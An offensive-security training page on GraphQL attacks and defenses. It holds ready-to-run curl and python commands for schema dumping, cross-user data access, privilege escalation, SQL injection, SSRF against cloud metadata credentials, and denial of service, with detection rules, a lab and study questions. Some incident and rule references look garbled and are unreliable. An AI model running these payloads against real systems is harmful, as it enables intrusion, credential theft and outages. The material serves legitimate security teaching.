Skip to content

GraphQL Security

GraphQL replaces REST’s many-endpoint surface with a single /graphql endpoint that accepts a query language over the wire. The same property that makes it ergonomic — the client picks which fields it wants from a typed schema — also makes every vulnerability class worse. IDOR becomes “request any field of any object via any relation”; SSRF becomes “follow any URL field through any resolver”; DoS becomes “query a recursive self-referential type to depth 1000.” Real incidents bear this out: the 2019 GitLab GraphQL IDOR (CVE-2019-16759-adjacent), the 2021 Shopify GraphQL BOLA, and the 2023 HackerOne disclosure of GraphQL introspection allowing schema reconstruction on production auth-required fields. The vulnerability class is the type system itself: GraphQL trusts the client to ask for what they’re allowed to see, when the server should be checking at every resolver.

A GraphQL server exposes a single endpoint, typically /graphql, that accepts a query string and returns JSON. The query is validated against a schema (type definitions), then executed by a resolver function per field.

Schema:
type User { id: ID!, name: String, orders: [Order!]! }
type Order { id: ID!, total: Int, owner: User! }
type Query { user(id: ID!): User, me: User }
Query (client):
query { me { id, name, orders { id, total } } }
Execution (server, depth-by-depth resolver):
Query.me → resolver returns User object
User.id → resolver returns string
User.orders → resolver returns [Order]
Order.id, Order.total → resolvers
Result:
{"data":{"me":{"id":1,"name":"alice","orders":[{"id":10,"total":99}]}}}
Attack surfaces:
[introspection] query { __schema { types { name fields { name } } } }
→ entire schema dumped, including hidden fields
[IDOR/BOLA] query { user(id: "1") { email, passwordHash } }
→ resolver for user(id) may skip authz
[DoS - depth] query { user { orders { owner { orders { owner { ... } } } } } }
→ unbounded recursion = exponential resolver calls
[DoS - batching] send 1000 queries in one HTTP request, server runs all
[alias-based DoS] query { a1: user a2: user ... a1000: user }
[DoS - regex] QueryCost analyzer has a ReDoS vuln
[mutation IDOR] mutation { updateUser(id:"1", role:"admin") }
[SSRF via field] query { user { avatarUrl, avatarBytes } }
→ resolver fetches avatarBytes by following URL
[SQLi via arg] query { user(name: "' OR 1=1--") }
[NoSQL via arg] query { user(filter: { "$ne": null }) }
[auth-then-resolve] authz on Query.me but not on User.id, User.orders...

The fundamental issue: authorization must be enforced at every resolver, not at the query entry point. A common mistake is to enforce authz at the top-level Query field and trust that all nested fields inherit that authorization.

  1. Discover the endpoint — /graphql, /graphql/graphql, /api/graphql, /v1/graphql, /public/graphql, /__graphql. Try POST and GET. Look for Content-Type: application/json with {"query": "..."} body.
  2. Probe introspection — POST /graphql {"query":"{__schema{types{name,fields{name}}}}"}. If enabled, dump the full schema. Disabled by introspection: false in Apollo Server config; bypass via __type(name:"User") in some implementations.
  3. Map types to resolvers — from introspection output, list Query and Mutation fields, their argument types, and their return types.
  4. Test IDOR per field — query { user(id:"<other-user-id>") { id, email, passwordHash } }. If the resolver returns data, the resolver (or a sub-resolver) is missing the authz check.
  5. Test nested authz — query { me { orders { owner { email } } } }. The me resolver checks auth, but User.orders → Order.owner → User.email may not — that’s a path from “my user” to “another user’s email” if the resolver chain doesn’t re-check auth.
  6. Test mutation IDOR — mutation { updateUser(id:"1", input:{role:"admin"}) { id } }. Same pattern.
  7. Test DoS depth — find a recursive type (e.g., User.orders.owner.orders.owner...). Build a query of depth 50. Measure latency.
  8. Test batching — send [{query1}, {query2}, ..., {queryN}] in one HTTP request. Apollo Server allows batching by default; cap is usually 10 but may be unset.
  9. Test SSRF — find a field that resolves from a URL (avatar, imageUrl, webhookUrl). Submit a value of http://169.254.169.254/latest/meta-data/. If the resolver follows redirects and returns content, SSRF.
  10. Test injection — for arguments that pass through to a database or shell, try SQLi/NoSQLi payloads.
TechniqueDescriptionDetection Difficulty
Introspection query__schema dump — full schemaEasy — should be disabled in production
IDOR via top-level fielduser(id:"1") resolver missing authzMedium — needs schema knowledge
IDOR via nested fieldme { orders { owner { email } } } — auth skipped on nestedHard — query path analysis needed
Mutation IDORupdateUser(id:"1") missing authzMedium — same as query IDOR
Batching DoS1000 queries in one HTTP requestMedium — depends on server config
Alias DoSa1:user, a2:user, ..., a1000:user in one queryMedium — server may not throttle
Depth DoSRecursive query to depth 50+Easy — depth limit should be set
Regex DoS in cost analyzerSome cost analyzers run ReDoS-vulnerable regex on queriesHard — depends on lib version
SSRF via fieldavatarUrl: http://169.254.169.254/Medium — needs URL-resolving field
SQLi via argumentuser(name: "' OR 1=1--")Medium — depends on resolver implementation
NoSQLi via argumentuser(filter: { "$ne": null })Medium — see W21
CSRF on mutationGET with query in URL — CSRF if SameSite not setMedium — POST + JSON body mitigates
Field suggestions (Apollo)Typo → Did you mean: passwordHash? leaks field namesEasy — server suggests hidden fields
Token in query stringGET /graphql?query=... → token leaked via RefererEasy — use POST + body
Terminal window
# Discover GraphQL endpoints
ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/graphql.txt -mc 200
# Common: /graphql, /graphiql, /playground, /voyager, /api/graphql, /__graphql
# Probe introspection
curl -s -X POST https://target/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name,type{name}}}}}"}' | jq .
# Dump the entire schema to a file
curl -s -X POST https://target/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{queryType{name}mutationType{name}types{name,kind,fields{name,args{name,type{name,kind,ofType{name,kind,ofType{name}}}}}}}}"}' \
> schema.json
# Apollo introspection bypass when "introspection: false" is set but __type is enabled
curl -s -X POST https://target/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__type(name:\"User\"){fields{name}}"}'
# Use InQL (Burp extension) for schema visualization
# Burp → Extender → BApp Store → InQL Scanner
# Right-click /graphql request → InQL → scan + introspect → visual graph of schema
# Test IDOR — switch IDs between users
# As user A, request user B's data
curl -s -X POST https://target/graphql \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"query($id:ID!){user(id:$id){id,email,passwordHash}}","variables":{"id":"B-USER-ID"}}' | jq .
# Test nested IDOR — path from me to another user via nested relations
curl -s -X POST https://target/graphql \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"{me{orders{owner{id,email,role}}}}"}' | jq .
# Mutation IDOR
curl -s -X POST https://target/graphql \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"mutation($id:ID!,$r:Role!){updateUser(id:$id,input:{role:$r}){id,role}}","variables":{"id":"1","r":"ADMIN"}}'
# DoS — depth-based recursion (only on a recursive type)
# Build a deeply-nested query. Each level multiplies resolver calls.
# A depth-10 query on a type with 5 relations = 5^10 = ~10M resolver calls
python3 -c "
n = 50
q = 'me{' * n + 'id' + '}' * n
print('{\"query\":\"query{%s}\"}' % q)
" | curl -s -X POST https://target/graphql -H "Content-Type: application/json" -d @- --max-time 30 -w "\nTime: %{time_total}s\n"
# DoS — alias-based (1000 aliases)
python3 -c "
aliases = ','.join(f'a{i}:me{{id}}' for i in range(1000))
print('{\"query\":\"{%s}\"}' % aliases)
" | curl -s -X POST https://target/graphql -H "Content-Type: application/json" -d @- --max-time 30 -o /dev/null -w "%{http_code}\n"
# DoS — batching (Apollo allows array of queries)
python3 -c "
import json
qs = [{'query':'{me{id}}'} for _ in range(10000)]
print(json.dumps(qs))
" | curl -s -X POST https://target/graphql -H "Content-Type: application/json" -d @- --max-time 30 -o /dev/null -w "%{http_code}\n"
# SSRF via field
curl -s -X POST https://target/graphql \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"mutation{updateAvatar(url:\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"){avatar{url,bytes}}"}'
# SQLi via argument
curl -s -X POST https://target/graphql \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"{user(name:\"x'"'"' OR 1=1--\"){id,email}}"}'
# Apollo field suggestions — type a typo, see suggestions
curl -s -X POST https://target/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me{emaiil}}"}'
# Response may include: "Did you mean: email?" — leaks field name
# graphw00f — fingerprint the GraphQL implementation
python3 graphw00f.py -t https://target/graphql
# clairvoyance — reconstruct schema even when introspection is disabled
# (uses field suggestion + error messages to recover schema)
python3 clairvoyance.py -o schema_recovered.json https://target/graphql
# nuclei — GraphQL templates
nuclei -u https://target -t ~/nuclei-templates/http/technologies/ -tags graphql
nuclei -u https://target -t ~/nuclei-templates/http/exposures/ -tags graphiql,playground,voyager

ModSecurity OWASP CRS — no dedicated GraphQL rule family. Detection via:

  • 920220 (Content-Type) — catches malformed application/graphql body
  • 942100 (SQLi) — catches SQLi in GraphQL arguments
  • 934100 (SSRF) — catches SSRF URLs in mutation args

Suricata — no GraphQL-specific SIDs; HTTP/2 body inspection can match __schema, __type, __schema patterns [verify].

MITRE ATT&CK T1190 — Exploit Public-Facing Application (GraphQL exploitation). MITRE ATT&CK T1499 — Endpoint Denial of Service (GraphQL batching/depth DoS). MITRE ATT&CK T1499.004 — Application or System Exploitation.

Wazuh rule 920/31100 — GraphQL query containing __schema or __type from unauthenticated source [verify]. Wazuh rule 920/31100 — GraphQL query depth > 10 [verify]. Wazuh decoder for /graphql POST body — alert on __schema, batching arrays, alias counts > 50, depth > 10.

Defender log signatures:

  • __schema query on production host → introspection not disabled.
  • Query depth > 10 → depth limit not enforced.
  • Batching array > 10 queries in one HTTP request → batching not capped.
  • Response time > 5s for a single GraphQL request → cost analyzer missing or misconfigured.

Bypassing disabled introspection via field suggestions. Apollo Server, when introspection is disabled, still suggests field names on typos: query { me { emaiil } } → "Did you mean: email?". By trying every letter (a, b, c, …), an attacker can enumerate every field on every type even with introspection off. The clairvoyance tool automates this enumeration.

Defense: disable field suggestions (formatError override), or move to a different server.

Cost analyzer ReDoS. Many GraphQL cost analyzers run a regex on the query string to estimate cost. Some use ReDoS-vulnerable patterns (([a-z]+)+$). A malicious query can hang the analyzer, not just the resolver. CVE-class in several cost-analysis libraries.

Defense: use a non-backtracking regex; or use a parser-based cost model.

Batching abuse. Apollo Server allows batching by default. A single HTTP request can contain [{query1}, {query2}, ..., {queryN}] and the server executes all of them. If the rate limit counts HTTP requests, not GraphQL queries, the attacker sends 10000 queries in one HTTP request.

Defense: cap batch size (default 10); count batched queries against the rate limit separately.

Alias-based amplification. GraphQL allows aliases: query { a1: user a2: user a3: user }. Each alias invokes the resolver separately. A query with 1000 aliases invokes the resolver 1000 times in one request. Cost analyzers may count the alias cost incorrectly.

Defense: cap alias count per query; use a query complexity calculator that counts aliases.

Depth without recursion. Even without recursive types, a deep query (depth 50) over many relations (User → Orders → Items → Product → Reviews → Author → …) can produce a query that joins many tables and times out the database. Cost analysis must consider both depth and breadth.

Defense: depth limit (e.g., 10) + complexity limit (e.g., 1000) + per-resolver cost weighting.

GET-based CSRF. Some servers allow GET /graphql?query=.... A CSRF attack can ride the user’s cookie to issue a query. Apollo disables GET by default; some custom servers enable it.

Defense: only allow POST with JSON body; require Content-Type: application/json (not form-encodable, which is CSRF-able).

EvasionWhat it bypassesDefense
Field suggestion enumerationIntrospection disableDisable suggestions or move to server without them
Cost analyzer ReDoSCost analyzerNon-backtracking regex; parser-based cost
BatchingHTTP rate limitCap batch size; count batched queries
AliasesSingle-query cost modelCap alias count per query
Depth via non-recursive joinsDepth-only limitDepth + complexity + per-resolver weighting
GET-based CSRFPOST-only designDisallow GET; require JSON content-type
__type(name:"X")Introspection disableBlock __type and __schema in middleware

⚠️ What caught me: A target had introspection: false in Apollo Server. I tried clairvoyance and it slowly recovered the schema via field suggestions. But what surprised me was the Mutation exposure: a mutation updateSelf(input: {email, role, isVerified}) was visible. The resolver did check that id (from the JWT) matched the request path, but it accepted role and isVerified as inputs without an allowlist. I sent mutation { updateSelf(input: {role: "ADMIN"}) { id } } with my user JWT and got back {id: my-id, role: ADMIN}. The whole IDOR-style attack didn’t apply because the mutation was self-scoped — but the mass-assignment attack did. Lesson: GraphQL doesn’t fix mass-assignment. The same input type that’s used for legitimate updates can carry escalation fields. Resolver-side allowlists are required, just like in REST.

Container: dtarget/graphql-vulnerable or the DVGA (Damn Vulnerable GraphQL App).

5013/playground
docker run --rm -d -p 5013:5013 ghcr.io/dolevf/graphql-vulnerable:latest
# Browse to http://localhost:5013/graphql (GraphQL endpoint)
# Solve:
# 1. Introspection → dump schema
# 2. BOLA — read another user's data
# 3. Mass assignment — promote self to admin
# 4. DoS — depth/alias/batch attack (use responsibly, single request)
# 5. SSRF — server-side request via URL field
# 6. SQLi — argument injection
# 7. Mutation IDOR

Alternative: PortSwigger Web Security Academy GraphQL labs (free, browser-based).

Objective: complete at least 4 GraphQL challenges including (1) introspection dump, (2) BOLA via nested resolver, (3) mass assignment via mutation, and (4) a controlled DoS (single request, observe the latency). Document the exact query for each.

Expected flag format: flag{graphql_introspection_bola_mass_assignment_dos}.

Detection that should fire: ModSecurity 942100 on SQLi in GraphQL args; Wazuh decoder for /graphql POST should flag __schema queries and depth > 10. The application log should show a single HTTP request with 1000+ GraphQL operations (batching abuse).

Conceptual: explain why GraphQL’s “client picks fields” model is worse for security than REST’s “server picks response shape” model. What is the specific failure mode that REST avoids by accident?

Technical: walk through the introspection-bypass attack via field suggestions. How does clairvoyance reconstruct a schema without __schema access? What two server controls defeat this?

Scenario: a GraphQL server has a top-level Query.user(id: ID!) resolver that checks id == ctx.user.id || ctx.user.role == "ADMIN". The User type has a field orders: [Order!]!, and Order has owner: User!. Describe a query that bypasses the authz check to read another user’s email, and the resolver-level fix.

Compare GraphQL batching DoS, alias-based DoS, and depth-based DoS. For each, give the specific server-side control that prevents it, and why a single depth limit alone is insufficient.

What is the GraphQL CSRF risk specific to GET-based queries, and why does requiring Content-Type: application/json (instead of allowing form-encoded) close it? What is the SameSite interaction?

→ W15 (API Security (REST)) · W21 (NoSQL Injection) · W22 (Web Fuzzing & Automation)